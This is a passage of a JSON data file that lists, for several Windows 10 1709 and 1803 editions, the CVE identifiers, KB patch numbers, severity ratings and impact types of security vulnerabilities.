Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503279\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 1709 for 32-bit Systems\":[{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048955\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054517\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0743\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0823\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0877\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0880\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343897\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093112\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284819\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284819\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284819\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457142\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457142\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467686\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4486996\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503284\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534276\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537789\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540681\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550927\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556812\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556812\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571741\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571741\",\"severity\":\"Important\",\"impact\":\"Spoofing\"}],\"Windows 10 Version 1709 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467686\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4486996\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503284\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530714\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534276\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537789\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540681\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550927\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556812\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556812\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571741\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571741\",\"severity\":\"Important\",\"impact\":\"Spoofing\"}],\"Windows 10 Version 1709 for x64-based Systems\":[{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048955\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054517\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0743\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0823\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0880\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343897\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093112\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284819\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284819\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284819\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457142\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457142\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467686\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4486996\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503284\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530714\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534276\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537789\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540681\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550927\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556812\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556812\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571741\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571741\",\"severity\":\"Important\",\"impact\":\"Spoofing\"}],\"Windows 10 Version 1803 for 32-bit Systems\":[{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343909\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284835\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103721\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284835\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284835\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457128\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457128\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467702\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487017\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503286\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4520008\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530717\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534293\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537762\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550922\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556807\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556807\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571709\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571709\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003174\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003174\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601354\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000809\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001339\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001339\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"}],\"Windows 10 Version 1803 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467702\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487017\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503286\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4520008\",\"severity\":\"Important\",\"impact\":\"Elevation of 